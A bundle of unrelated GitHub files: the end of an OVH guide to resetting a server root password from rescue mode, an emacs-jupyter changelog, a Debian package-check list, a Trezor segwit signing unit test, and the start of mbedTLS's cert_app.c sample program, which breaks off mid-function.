/dev/hda3 4801 4865 522112+ 82 Linux swap / Solaris
Disk /dev/sda 8254 MB, 8254390272 bytes
16 heads, 32 sectors/track, 31488 cylinders
Units = cylinders of 512 * 512 = 262144 bytes
Device Boot Start End Blocks Id System
/dev/sda1 1 31488 8060912 c W95 FAT32 (LBA)
```
In the example above, the system partition is /dev/hda1.
> [!primary]
>
If your server has a RAID configuration, you will need to mount your raid volume.
- If you are using Softraid, your root partition will be /dev/mdX
- If you are using Hardraid, your root partition will be /dev/sdX
>
#### Step 2: Mount the system partition
Once you've identified the system partition, you can mount it with the following command:
```sh
# mount /dev/hda1 /mnt/
```
#### Step 3: Edit the root partition
The system partition is locked for editing by default so you'll need to open it for write access, which you can do with the following command:
```sh
# chroot /mnt
```
#### Step 4: Change the root password
The final step is to change the password with the following command:
```sh
# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
```
When this is done, change the boot mode on your server back to `boot from hard disk`{.action} and restart it. Your root password will now be changed.
## Go further
Join our community of users on <https://community.ovh.com/en/>.
| {
"pile_set_name": "Github"
} |
* master
- Fixed a regression that appears when executing an =org-mode= source
block of a previously created session. A new connection to the
session was being created before execution instead of using the old
connection. See #240.
- Fixed regression due to uppercase characters in kernel language
names, e.g. R. =emacs-jupyter= would not work at all with language
specific features.
* v0.8.2
- Fix recursive loading error caused by =jupyter-tramp.el= autoloads.
- Consider kernelspecs with spaces and uppercase characters in the kernel's
language name.
- In =org-mode=, fixed a bug where inline results where being displayed
differently from what they would have been when the results are not inline.
- When =jupyter-repl-echo-eval-p= is non-nil, ensure that any cell code not sent
to a kernel yet is preserved.
- In =org-mode=, fix a bug where if the =:session= header argument of Jupyter
source blocks is a relative file name with a =.json= suffix
and =default-directory= is a remote directory, a file on the local machine
would be read.
- Use =org-babel-jupyter-async-inline-results-pending-indicator= as a placeholder
when evaluating asynchronous inline source blocks in =org-mode=.
- Integrate better with packages like =polymode= when evaluating source blocks
in =org-mode= by considering indirect buffers. Thanks to =@dvzubarev= for
the [[https://github.com/dzop/emacs-jupyter/issues/171#issuecomment-522762377][solution]].
- Fixed usage of source block parameters when evaluating source blocks
using =#+CALL= in =org-mode=. There are many sources of source block parameters
that =org-mode= merges to produce the final set of parameters passed
to =org-babel-execute:jupyter=, previously that function would just re-compute
source block parameters. Now it uses the parameters it was given,
see =org-babel-jupyter-current-src-block-params=.
- Add support for displaying evaluation results in the current buffer using
overlays. See =jupyter-eval-use-overlays= and the relevant README sections.
- Fix =jupyter-repl-restart-kernel= to restart a kernel using a kernel manager
when one is available. Previously, restarting a kernel using that function
wouldn't work properly if the kernel was from a notebook server.
- Increase default timeout until a kernel is considered dead to 30 seconds when
communicating directly with a kernel. More specifically, if a response from a
kernel is not received after three consecutive 10 s periods on the heartbeat
channel, the kernel is considered dead. Previously the timeout was five 1 s
periods. This should fix =Kernel not alive= errors when using the REPL if the
kernel being communicated with was on a slow connection.
- Ensure that a non-default value of =url-cookie-file= is handled properly in the
notebook support.
- In =org-mode= handle ANSI control codes in stream output.
- In =org-mode= fix a regression where source block results were not being
associated with =#+CALL= Org elements.
- Add support for the Jupyter Notebook REST API. See the relevant sections in
the README.
* v0.8.1
- Add the commands =jupyter-org-(next|previous)-busy-src-block= which will jump
to the next or previous busy source block in an =org-mode= buffer. Bound to =N=
and =P= in the =Hydra= provided in =org-mode= (=C-c h=).
- Add customizable variable =jupyter-org-adjust-image-size= to avoid stretching
images when =org-image-actual-width= is set so that it falls back to a default
width for an inline image.
- Fix a message buffering issue when sending multiple requests to a kernel in
quick succession, e.g. when calling =org-babel-execute-subtree= in =org-mode=
when all Jupyter source blocks in the subtree are evaluated asynchronously.
- In =jupyter-org-insert-src-block= (1) adjust whitespace so that there is at
least one blank line before and following an inserted source block (2) do not
insert a new source block between a source block and its results, always
insert the new block after a source block's results (3) do not move past an
inlinetask, normally the current paragraph or element under =point= is moved
past before inserting a new source block.
- Fix issues with undo in the REPL when trying to undo after inserting a
newline. See #139.
- In =org-mode=, detect Org formatted table strings when a kernel returns a
=text/org= mimetype. This avoids wrapping the table in a drawer.
- If a file is opened via =emacsclient=, attempt to associate the opened buffer
with a REPL client. This is useful, e.g. when using the ~julia~ language's
~edit~ function and the =EDITOR= environment variable is set to
=emacsclient=. See ~jupyter-server-mode-set-client~ for more details.
- In =org-mode=, when inserting the results of an asynchronously evaluated
src-block, indent the results to match the surrounding indentation level.
- In =org-mode=, fix an issue when a src-block is nested within a list that
would cause the entire list to be erased when asynchronously evaluating the
src-block.
- Add new customizable variable ~jupyter-repl-echo-eval-p~ that causes the REPL
to behave similarly to comint or ESS when evaluating code. Specifically, it
causes any code that is sent to the underlying kernel to also be displayed as
a REPL input cell. The previous behavior would only display the sent code as
an input cell if it was explicitly typed in at the REPL.
- Add the new command ~jupyter-repl-clear-cells~ to clear all of the current
input and output cells in a REPL buffer. Bound to ~C-c C-o~ by default in the
REPL.
- Fix an issue where timeouts started using ~with-timeout~ would timeout when
the kernel requests input from the user. The timeouts are now suspended in
such cases.
- In =jupyter-R.el= handle the =isolated= metadata property of HTML results by
opening up an external browser to display the result.
- Allow =:session= to be a remote file name for =org-mode= source blocks. When
=:session= is a remote file name that doesn't end in =.json=, e.g.
=/ssh:ec2:jl=, a new kernel is started on the remote host using the
=jupyter kernel= command on that host. The local file name part serves to
distinguish different sessions on the remote host.
- Add the new commands ~jupyter-repl-history-previous-matching~ and
~jupyter-repl-history-next-matching~, bound to ~C-c M-r~ and ~C-c M-s~ in the
REPL.
- In ~jupyter-with-display-buffer~, ~let~ bind ~jupyter-current-client~. This
fixes an issue where kernel language specific methods were not overriding the
defaults when attempting to display the contents of =display-data= messages
received from a kernel.
- Fix a regression in ~jupyter-available-kernelspecs~ when getting the
kernelspecs on remote hosts.
- Handle empty result blocks when stripping ANSI escape sequences during export
in ~org-babel-jupyter-strip-ansi-escapes~.
- Call ~downcase~ on the language name when adding to ~org-src-lang-modes~.
This fixes an issue with the ~C++~ kernel where the corresponding mode is
~c++-mode~.
* v0.8.0
- Support Windows
- In =org-mode=, support a header argument =:pandoc t=. Whenever this header
argument is provided, certain kinds of code block results are translated into
=org-mode= syntax using a =pandoc= process, if available. See the variable
=jupyter-org-pandoc-convertable= for the kinds of results which can be
converted in this way.
- Add initial support for C++.
- Add a new customizable variable =jupyter-repl-allow-RET-when-busy= which
allows =RET= to insert a newline in a REPL cell whenever the kernel of the
REPL is busy. Normally this isn't allowed since, when a kernel is busy, it
doesn't respond to messages such as the =:is-complete-request= which
is used to determine when the code should be sent to the kernel or a newline
should be inserted whenever =RET= is pressed.
- Add initial support for R. Thanks to =jackkamm=.
- In =jupyter-eval-string= also handle =:display-data= messages.
- Add a new =jupyter-comm-layer= class which generalizes how a
=jupyter-kernel-client= communicates with a kernel. Previously there was only
one method of communication with a kernel, via a subprocess which
communicates to the kernel using ZMQ sockets. In order to support other kinds
of communication, e.g. using websockets, the =jupyter-comm-layer= generalizes
the method of communication so that a client need not know how communication
occurs.
- Add =jupyter-org-execute-subtree= (=C-M-<return>=) to the =jupyter-org=
=hydra=. Also, various improvements to the source block insertion functions
such as how they handle whitespace and determine the language of the source
block to insert.
- Properly cleanup connection files when restarting a kernel.
- Fontify ANSI coded regions in example blocks and fixed width elements in
=org-mode=. This feature is activated when =jupyter-org-interaction-mode= and
currently applies to all example blocks and fixed width elements. This is
useful for kernels that apply ANSI color codes to source block results such
as IJulia.
- Note the ANSI codes will be removed from the elements during export so that
they don't appear in the final exported document.
- In =org-mode= when =point= is on a Jupyter source block inside an invisible
region, e.g. when it =point= lies inside a folded subtree, ignore any special
keybindings for the source block.
- Consider the =/docker:= TRAMP method provided by
https://github.com/emacs-pe/docker-tramp.el. See [[orgit-rev:.::4ef27c2][(magit-rev 4ef27c2)]] for more
details.
- Change the default completion context to only consider the deepest nested
parenthetical level. Previously all levels were considered, but this is not a
good default when interacting with LISP like kernels such as Clojupyter.
- In =org-mode=, when evaluating Jupyter source blocks during export, ensure
that all source blocks are evaluated synchronously even when =:async yes= is
specified.
- When using =jupyter-eval-line-or-region= and friends, don't display a message
in the =*Messages*= buffer if a traceback will be shown.
- Be consistent with the use of the =:file= header argument when =:async no= is
specified vs =:async yes=. In particular, the =:file= header argument means
to use the path specified as the name of any image file generated by the
source block in =emacs-jupyter=. For regular =org-mode= source blocks, it
means to write the *results* of the source block to file. See #40 and #59.
- Fix off by one line issue when =jupyter-org-toggle-latex= is non-nil.
- Don't wrap the source code of an IJulia source block in a =let= block when
using the =:dir= header argument in =org-mode= source blocks.
* v0.7.3
- Fix an issue where loading =jupyter-org-client.el= would trigger a recursive
require of =org=.
- Don't fail if a short result has =%= characters in the default
=jupyter-eval-short-result-display-function=.
- Port scimax's source block helper functions. Thanks to =UndeadKernel= for the
work he put into this. See #45.
- Fix an issue where a kernel would be stuck in the busy state waiting for
input from the user when calling =jupyter-eval-line-or-string= and friends.
The =:input-request= handler was being inhibited in these cases.
- When evaluating Julia code blocks with the =:dir= header argument, fix an
issue where top-level expressions like =using Plots= wouldn't work see #57.
- Don't use proportional fonts when rendering HTML. See #52.
- Fix whitespace issues when wrapping =org-mode= source block results in a
=RESULTS= drawer.
- Increase =jupyter-default-timeout= to 2.5 seconds. See #43.
- Fix issues with the REPL restart process. See #50.
- Refactor REPL restart to avoid relying on a =status: starting= message to
be received.
- Actually restart the kernel process when using a kernel manager.
- In =jupyter-repl-restart-kernel= inhibit message handlers from running when
sending a shutdown request.
- Add the functions =org-babel-jupyter-override-src-block= and
=org-babel-jupyter-restore-src-block= to provide a way of overriding normal
=org-mode= source block languages to use the Jupyter source block framework.
For example, by evaluating =(org-babel-jupyter-override-src-block "python")=
all =python= source blocks will actually be =jupyter-python= source blocks.
- Add the customizable variable =jupyter-pop-up-frame= which controls if a
frame or a window is popped up when evaluating code using
=jupyter-eval-line-or-region= (bound to =C-c C-c= when
=jupyter-repl-interaction-mode= is enabled)
- In =jupyter-repl-after-change=, maintain the text properties at the beginning
of a REPL input cell when text is deleted at the beginning of a cell. See #38.
- In =jupyter-repl-font-lock-fontify-region= and
=jupyter-repl-syntax-propertize-function= narrow to the REPL input cell
before doing any work since the kernel language mode's fontification
functions do not know about REPL input/output boundaries.
- In =jupyter-repl-do-after-change=, widen the buffer before doing any work to
take into account changes that narrow to fields. In such cases functions like
=jupyter-repl-cell-code-beginning-position= will not work right since they
look at positions before the =cell-code= field. See #38.
- Handle the overflow of the prompt margin in the REPL by increasing the margin
width and re-calculating all the prompts in the buffer when the length of the
prompt string exceeds the width of the margin. See #39.
- Also, for the Julia kernel, don't replace the REPL prompt but add it as part of
the REPL cell.
- Add support for suppressing =org-mode= table output from source blocks by
specifying =:results scalar=.
- Add a new =org-mode= source block header argument =:display= which allows a
user to control which mimetype is displayed. See #17.
- Fix an issue with undo in the REPL where the addition of continuation prompts
for multi-line input would add extra undo information that would interfere
with undo.
- Update =org-mode= source block result insertion to consider changes in how
=fixed-width= and =example-block= elements and are printed to the buffer in
=org-mode= >= 9.2. Also start testing against the latest version of
=org-mode= in Travis.
- Handle the case of an empty =RESULTS= drawer during source block result
insertion in the =:async yes= case.
- Add a =file= slot to a =jupyter-org-request=. Also, internally remove the
=:file= header argument from an =org-mode= source block's parameters during
block evaluation so that =org-mode= doesn't specially handle the =:file=
argument as it interferes with insertion of results when =:async yes= is
specified. Note this is currently only done for the =:async yes= case.
- In =jupyter-repl-syntax-propertize-function=, in addition to handling
parenthesis syntax, handle string syntax. This is so that any string syntax
characters in the output are not considered strings in the kernel's language.
- In =jupyter--display-eval-result= prefer Markdown if it is available.
* v0.7.2
- In =jupyter-handle-input-request=, be more secure when reading passwords by
using =clear-string= after sending the message and avoiding printing
passwords to the =*Messages*= buffer when =jupyter--debug= is non-nil.
- In =jupyter-insert-latex= remove modification-hooks from the image overlays
so that the images are not removed from the buffer when changing the text
properties of the underlying text.
- In =jupyter-read-expression= show the kernel language when prompting in the
minibuffer.
- In =jupyter-repl-kill-buffer-query-function= also ask to kill the kernel.
- In =jupyter-with-display-buffer= properly advance
=jupyter-display-buffer-marker= when contents are added to the buffer so that
future inserts will insert at the end of the buffer. Also handle a =nil=
RESET argument.
- Keep =:= as the start of a completion prefix for the Julia kernel to allow
completing dictionary keys.
- Consider the state of the ioloop in the =jupyter-channel-alive-p= method of a
=jupyter-kernel-client=. In particular, ensure the method returns nil, when
the ioloop isn't alive.
- Change the default completion context, the context returned by
=jupyter-code-context= with an argument of =completion=, to return all nested
levels of parenthesis.
- In =org-babel-jupyter-setup-export=, use the kernelspecs on the system to add
to =org-latex-minted-langs=.
- Add new hook variables =jupyter-repl-cell-{pre|post}-send-hook= that are
called before and after sending the contents of a REPL cell to the kernel.
- In =jupyter-repl-finalize-cell= ensure that only the last cell in the REPL
buffer is finalized by going to =point-max= before accessing a cell's
properties. This avoids issues with modifying the properties of previously
finalized cells.
- Integrate more with =font-lock= and =syntax-ppss= in the REPL by (1) adding a
custom =syntax-propertize-function= (2) handle REPL mode characters in the
Julia kernel and (3) use the kernel language syntax table when calling
=font-lock= functions.
* v0.7.1
- Fix a bug in =jupyter-connect-repl= which would cause the REPL to think that
the kernel wasn't alive. The issue was that the heartbeat channel was not
exchanging messages with the kernel and the heartbeat channel is relied on to
check for the liveness of a kernel connected to using =jupyter-connect-repl=.
See #29.
- When using =jupyter-eval-string= (=C-c M-:=), properly use the client local
variable, =jupyter-eval-expression-history=, as the minibuffer history.
- =jupyter-repl-restart-kernel= now prompts for a REPL client to restart if the
=jupyter-current-client= variable is not set in the current buffer. See #28.
- Fix bug when a kernel does not respond to a shutdown request. Previously in
such cases, the kernel process would not be forcibly killed and would stay
alive.
- Add =org-babel-jupyter-setup-export= to integrate the exporting process with
=emacs-jupyter=. This function is added to
=org-export-before-processing-hook= and currently only ensures that, when
exporting to LaTeX and the minted package is being used, the =jupyter-LANG=
source blocks use =LANG= for their minted language.
* v0.7.0
- Remove compatibility with =ob-ipython= by going back to using a =jupyter-=
prefix instead of a =jupy-= prefix for Jupyter src-block languages.
- Re-use windows displaying =jupyter= specific buffers instead of popping up
new windows whenever possible, e.g. when displaying a traceback or output
caused by evaluating code. See =jupyter-display-current-buffer-reuse-window=.
- Consider the underlying REPL client of =org-mode= Jupyter src-blocks as valid
clients to associate a source code buffer with using
=jupyter-repl-associate-buffer=.
- Add the customizable variable =jupyter-org-toggle-latex= which automatically
converts latex fragment results of =org-mode= Jupyter src-blocks into images
if non-nil.
- Add the customizable variables =jupyter-eval-short-result-max-lines= and
=jupyter-eval-short-result-display-function= which control how to display
evaluation results having a number of lines less than
=jupyter-eval-short-result-max-lines=. As an example, you can set
=jupyter-eval-short-result-display-function= to =popup-tip= from the =popup=
package to show short results inline after evaluation.
- When =:results silent= is an argument for an =org-mode= src-block and an
error occurs, display a link to jump to the line of the src-block which
caused the error along with the error traceback. Note this requires that the
underlying kernel language extend the =jupyter-org-error-location= method.
- Fix integration with =insert-for-yank= inside a REPL buffer. Previously,
yanking text from the kill ring into the REPL buffer would interfere with
font-lock and motion functions such as =beginning-of-line=. See [[https://github.com/dzop/emacs-jupyter/issues/14][#14]].
- Add the minor mode =jupyter-org-interaction-mode= enabled in all =org-mode=
buffers by default. This mode enables completion in Jupyter src-blocks
directly from the =org-mode= buffer and custom keybindings for each kernel
language that are only enabled if =point= is inside a Jupyter src-block. You
bind keys to commands using =jupyter-org-define-key=. Inspired by =scimax=.
- Support the =:dir= header argument of =org-mode= src-blocks. Since Jupyter
src-blocks have a backing REPL session, the =:dir= argument only ensures that
the REPL session is initialized in the specified directory. After the session
is initialized, the =:dir= argument has no effect when evaluating src-blocks
with the same underlying session. Now, the directory is changed inside the
REPL environment before evaluation of a src-block and reset to the previous
directory after evaluation whenever =:dir= is specified as a header argument.
Note, this requires that the backing kernel language handles =:dir= in the
changelist argument of =org-babel-jupyter-transform-code=. Also inspired by
=scimax=.
- Add support for inline Jupyter src-blocks in =org-mode=.
- For Jupyter src-blocks, delete files of unreachable links from
=org-babel-jupyter-resource-directory=. When replacing image link results of
a src-block, e.g. by re-evaluation of the src-block, delete the corresponding
image file if it exists in =org-babel-jupyter-resource-directory=. Once again
inspired by =scimax=.
- Add the =jupyter-repl-traceback= face. This face is used to fontify the
background of a traceback in the REPL buffer to distinguish it from other
output. In addition to this face, there is also =jupyter-repl-input-prompt=
and =jupyter-repl-output-prompt=.
| {
"pile_set_name": "Github"
} |
git,dpkg -s
make,dpkg -s
bzip2,dpkg -s
automake,dpkg -s
libbz2-dev,dpkg -s
libssl-dev,dpkg -s
doxygen,dpkg -s
graphviz,dpkg -s
libgmp3-dev,dpkg -s
autotools-dev,dpkg -s
libicu-dev,dpkg -s
python2.7,dpkg -s
python2.7-dev,dpkg -s
python3,dpkg -s
python3-dev,dpkg -s
autoconf,dpkg -s
libtool,dpkg -s
curl,dpkg -s
zlib1g-dev,dpkg -s
sudo,dpkg -s
ruby,dpkg -s
libusb-1.0-0-dev,dpkg -s
libcurl4-gnutls-dev,dpkg -s
pkg-config,dpkg -s
patch,dpkg -s | {
"pile_set_name": "Github"
} |
from common import *
from trezor.utils import chunks
from trezor.crypto import bip39
from trezor.messages.SignTx import SignTx
from trezor.messages.TxInputType import TxInputType
from trezor.messages.TxOutputType import TxOutputType
from trezor.messages.TxRequest import TxRequest
from trezor.messages.TxAck import TxAck
from trezor.messages.TransactionType import TransactionType
from trezor.messages.RequestType import TXINPUT, TXOUTPUT, TXFINISHED
from trezor.messages.TxRequestDetailsType import TxRequestDetailsType
from trezor.messages.TxRequestSerializedType import TxRequestSerializedType
from trezor.messages import InputScriptType
from trezor.messages import OutputScriptType
from apps.common import coins
from apps.common.seed import Keychain
from apps.wallet.sign_tx import helpers, signing
class TestSignSegwitTxNativeP2WPKH(unittest.TestCase):
# pylint: disable=C0301
def test_send_native_p2wpkh(self):
coin = coins.by_name('Testnet')
seed = bip39.seed(' '.join(['all'] * 12), '')
inp1 = TxInputType(
# 49'/1'/0'/0/0" - tb1qqzv60m9ajw8drqulta4ld4gfx0rdh82un5s65s
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 0, 0],
amount=12300000,
prev_hash=unhexlify('09144602765ce3dd8f4329445b20e3684e948709c5cdcaf12da3bb079c99448a'),
prev_index=0,
script_type=InputScriptType.SPENDWITNESS,
sequence=0xffffffff,
multisig=None,
)
out1 = TxOutputType(
address='2N4Q5FhU2497BryFfUgbqkAJE87aKHUhXMp',
amount=5000000,
script_type=OutputScriptType.PAYTOADDRESS,
address_n=[],
multisig=None,
)
out2 = TxOutputType(
address='tb1q694ccp5qcc0udmfwgp692u2s2hjpq5h407urtu',
script_type=OutputScriptType.PAYTOADDRESS,
amount=12300000 - 11000 - 5000000,
address_n=[],
multisig=None,
)
tx = SignTx(coin_name='Testnet', version=None, lock_time=None, inputs_count=1, outputs_count=2)
messages = [
None,
# check fee
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None)),
TxAck(tx=TransactionType(inputs=[inp1])),
helpers.UiConfirmForeignAddress(address_n=inp1.address_n),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out1])),
helpers.UiConfirmOutput(out1, coin),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out2])),
helpers.UiConfirmOutput(out2, coin),
True,
helpers.UiConfirmTotal(12300000, 11000, coin),
True,
# sign tx
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized inp1
serialized_tx=unhexlify('010000000001018a44999c07bba32df1cacdc50987944e68e3205b4429438fdde35c76024614090000000000ffffffff'),
)),
TxAck(tx=TransactionType(outputs=[out1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out1
serialized_tx=unhexlify('02404b4c000000000017a9147a55d61848e77ca266e79a39bfc85c580a6426c987'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(outputs=[out2])),
# segwit
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out2
serialized_tx=unhexlify('a8386f0000000000160014d16b8c0680c61fc6ed2e407455715055e41052f5'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXFINISHED, details=None, serialized=TxRequestSerializedType(
serialized_tx=unhexlify('02483045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b950121033add1f0e8e3c3136f7428dd4a4de1057380bd311f5b0856e2269170b4ffa65bf00000000'),
signature_index=0,
signature=unhexlify('3045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b95'),
)),
]
keychain = Keychain(seed, [[coin.curve_name]])
signer = signing.sign_tx(tx, keychain)
for request, response in chunks(messages, 2):
self.assertEqual(signer.send(request), response)
with self.assertRaises(StopIteration):
signer.send(None)
def test_send_native_p2wpkh_change(self):
coin = coins.by_name('Testnet')
seed = bip39.seed(' '.join(['all'] * 12), '')
inp1 = TxInputType(
# 49'/1'/0'/0/0" - tb1qqzv60m9ajw8drqulta4ld4gfx0rdh82un5s65s
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 0, 0],
amount=12300000,
prev_hash=unhexlify('09144602765ce3dd8f4329445b20e3684e948709c5cdcaf12da3bb079c99448a'),
prev_index=0,
script_type=InputScriptType.SPENDWITNESS,
sequence=0xffffffff,
multisig=None,
)
out1 = TxOutputType(
address='2N4Q5FhU2497BryFfUgbqkAJE87aKHUhXMp',
amount=5000000,
script_type=OutputScriptType.PAYTOADDRESS,
address_n=[],
multisig=None,
)
out2 = TxOutputType(
address=None,
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 1, 0],
script_type=OutputScriptType.PAYTOWITNESS,
amount=12300000 - 11000 - 5000000,
multisig=None,
)
tx = SignTx(coin_name='Testnet', version=None, lock_time=None, inputs_count=1, outputs_count=2)
messages = [
None,
# check fee
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None)),
TxAck(tx=TransactionType(inputs=[inp1])),
helpers.UiConfirmForeignAddress(address_n=inp1.address_n),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out1])),
helpers.UiConfirmOutput(out1, coin),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out2])),
helpers.UiConfirmTotal(5000000 + 11000, 11000, coin),
True,
# sign tx
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized inp1
serialized_tx=unhexlify('010000000001018a44999c07bba32df1cacdc50987944e68e3205b4429438fdde35c76024614090000000000ffffffff'),
)),
# the out has to be cloned not to send the same object which was modified
TxAck(tx=TransactionType(outputs=[TxOutputType(**out1.__dict__)])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out1
serialized_tx=unhexlify('02404b4c000000000017a9147a55d61848e77ca266e79a39bfc85c580a6426c987'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(outputs=[TxOutputType(**out2.__dict__)])),
# segwit
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out2
serialized_tx=unhexlify('a8386f0000000000160014d16b8c0680c61fc6ed2e407455715055e41052f5'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXFINISHED, details=None, serialized=TxRequestSerializedType(
serialized_tx=unhexlify('02483045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b950121033add1f0e8e3c3136f7428dd4a4de1057380bd311f5b0856e2269170b4ffa65bf00000000'),
signature_index=0,
signature=unhexlify('3045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b95'),
)),
]
keychain = Keychain(seed, [[coin.curve_name]])
signer = signing.sign_tx(tx, keychain)
for request, response in chunks(messages, 2):
self.assertEqual(signer.send(request), response)
with self.assertRaises(StopIteration):
signer.send(None)
if __name__ == '__main__':
unittest.main()
| {
"pile_set_name": "Github"
} |
/*
* Certificate reading application
*
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* This file is part of mbed TLS (https://tls.mbed.org)
*/
#if !defined(MBEDTLS_CONFIG_FILE)
#include "mbedtls/config.h"
#else
#include MBEDTLS_CONFIG_FILE
#endif
#if defined(MBEDTLS_PLATFORM_C)
#include "mbedtls/platform.h"
#else
#include <stdio.h>
#include <stdlib.h>
#define mbedtls_time time
#define mbedtls_time_t time_t
#define mbedtls_fprintf fprintf
#define mbedtls_printf printf
#endif
#if !defined(MBEDTLS_BIGNUM_C) || !defined(MBEDTLS_ENTROPY_C) || \
!defined(MBEDTLS_SSL_TLS_C) || !defined(MBEDTLS_SSL_CLI_C) || \
!defined(MBEDTLS_NET_C) || !defined(MBEDTLS_RSA_C) || \
!defined(MBEDTLS_X509_CRT_PARSE_C) || !defined(MBEDTLS_FS_IO) || \
!defined(MBEDTLS_CTR_DRBG_C)
int main( void )
{
mbedtls_printf("MBEDTLS_BIGNUM_C and/or MBEDTLS_ENTROPY_C and/or "
"MBEDTLS_SSL_TLS_C and/or MBEDTLS_SSL_CLI_C and/or "
"MBEDTLS_NET_C and/or MBEDTLS_RSA_C and/or "
"MBEDTLS_X509_CRT_PARSE_C and/or MBEDTLS_FS_IO and/or "
"MBEDTLS_CTR_DRBG_C not defined.\n");
return( 0 );
}
#else
#include "mbedtls/entropy.h"
#include "mbedtls/ctr_drbg.h"
#include "mbedtls/net_sockets.h"
#include "mbedtls/ssl.h"
#include "mbedtls/x509.h"
#include "mbedtls/debug.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MODE_NONE 0
#define MODE_FILE 1
#define MODE_SSL 2
#define DFL_MODE MODE_NONE
#define DFL_FILENAME "cert.crt"
#define DFL_CA_FILE ""
#define DFL_CRL_FILE ""
#define DFL_CA_PATH ""
#define DFL_SERVER_NAME "localhost"
#define DFL_SERVER_PORT "4433"
#define DFL_DEBUG_LEVEL 0
#define DFL_PERMISSIVE 0
#define USAGE_IO \
" ca_file=%%s The single file containing the top-level CA(s) you fully trust\n" \
" default: \"\" (none)\n" \
" crl_file=%%s The single CRL file you want to use\n" \
" default: \"\" (none)\n" \
" ca_path=%%s The path containing the top-level CA(s) you fully trust\n" \
" default: \"\" (none) (overrides ca_file)\n"
#define USAGE \
"\n usage: cert_app param=<>...\n" \
"\n acceptable parameters:\n" \
" mode=file|ssl default: none\n" \
" filename=%%s default: cert.crt\n" \
USAGE_IO \
" server_name=%%s default: localhost\n" \
" server_port=%%d default: 4433\n" \
" debug_level=%%d default: 0 (disabled)\n" \
" permissive=%%d default: 0 (disabled)\n" \
"\n"
/*
* global options
*/
struct options
{
int mode; /* the mode to run the application in */
const char *filename; /* filename of the certificate file */
const char *ca_file; /* the file with the CA certificate(s) */
const char *crl_file; /* the file with the CRL to use */
const char *ca_path; /* the path with the CA certificate(s) reside */
const char *server_name; /* hostname of the server (client only) */
const char *server_port; /* port on which the ssl service runs */
int debug_level; /* level of debugging */
int permissive; /* permissive parsing */
} opt;
static void my_debug( void *ctx, int level,
const char *file, int line,
const char *str )
{
((void) level);
mbedtls_fprintf( (FILE *) ctx, "%s:%04d: %s", file, line, str );
fflush( (FILE *) ctx );
}
static int my_verify( void *data, mbedtls_x509_crt *crt, int depth, uint32_t *flags )
{
char buf[1024];
((void) data);
mbedtls_printf( "\nVerify requested for (Depth %d):\n", depth );
mbedtls_x509_crt_info( buf, sizeof( buf ) - 1, "", crt );
mbedtls_printf( "%s", buf );
if ( ( *flags ) == 0 )
mbedtls_printf( " This certificate has no flags\n" );
else
{
mbedtls_x509_crt_verify_info( buf, sizeof( buf ), " ! ", *flags );
mbedtls_printf( "%s\n", buf );
}
return( 0 );
}
int main( int argc, char *argv[] )
{
int ret = 0;
mbedtls_net_context server_fd;
unsigned char buf[1024];
mbedtls_entropy_context entropy;
mbedtls_ctr_drbg_context ctr_drbg;
mbedtls_ssl_context ssl;
